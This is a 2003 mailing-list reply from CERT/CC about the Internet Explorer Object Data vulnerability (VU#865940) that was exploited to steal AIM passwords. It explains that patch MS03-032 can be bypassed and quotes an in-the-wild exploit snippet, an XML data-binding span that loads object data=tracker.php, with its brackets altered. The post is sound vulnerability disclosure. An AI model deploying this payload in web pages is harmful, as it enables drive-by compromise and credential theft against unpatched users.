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RE: [Fwd: Re: AIM Password theft] VU#865940
From: "CERT(R) Coordination Center" <cert () cert org>
Date: Wed, 24 Sep 2003 14:35:06 -0400

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Thor Larholm <thor () pivx com> writes:

This is just a simple exploit utilizing the Object Data vulnerability
discovered by Drew Copley, coupled with the GreyMagic no-script HTML
rendering as demonstrated earlier on this list and others by jelmer.

Tell your user to go install MS03-032, which he obviously did not do as
MS03-032 patches this vulnerability. MS03-032 was released on August 20
and you can find it at

http://www.microsoft.com/technet/security/bulletin/MS03-032.asp

At the present, the patch for MS03-032 breaks one of at least three
exploit techniques.  The patch does not resolve the vulnerability.
MS03-032 acknowledges this.  I have seen several examples of this
vulnerability being exploited in the wild.

www.haxr.org contains the following HTML code (with <> replaced to []):

[span datasrc="#oExec" datafld="counter" dataformatas="html"][/span]
[xml id="oExec"]
[security]
[counter]
[![CDATA[
[object data=tracker.php][/object]
]]]
[/counter]
[/security]
[/xml]

In particular, the current MS03-32 patch doesn't account for an HTML
document created via XML/data binding:

  <http://greymagic.com/adv/gm001-ie/>

The patch also does not account for an HTML document created via
script:

  <http://www.securityfocus.com/archive/1/336616>

Vulnerability Note VU#865940:

  <http://www.kb.cert.org/vuls/id/865940>


Regards,

  - Art


             Art Manion  --  CERT Coordination Center
    <http://www.cert.org/>   <cert () cert org>   +1 412-268-7090
         E0 1E DF F5 FC 76 00 32  77 8F 25 F7 B0 2E 2C 27


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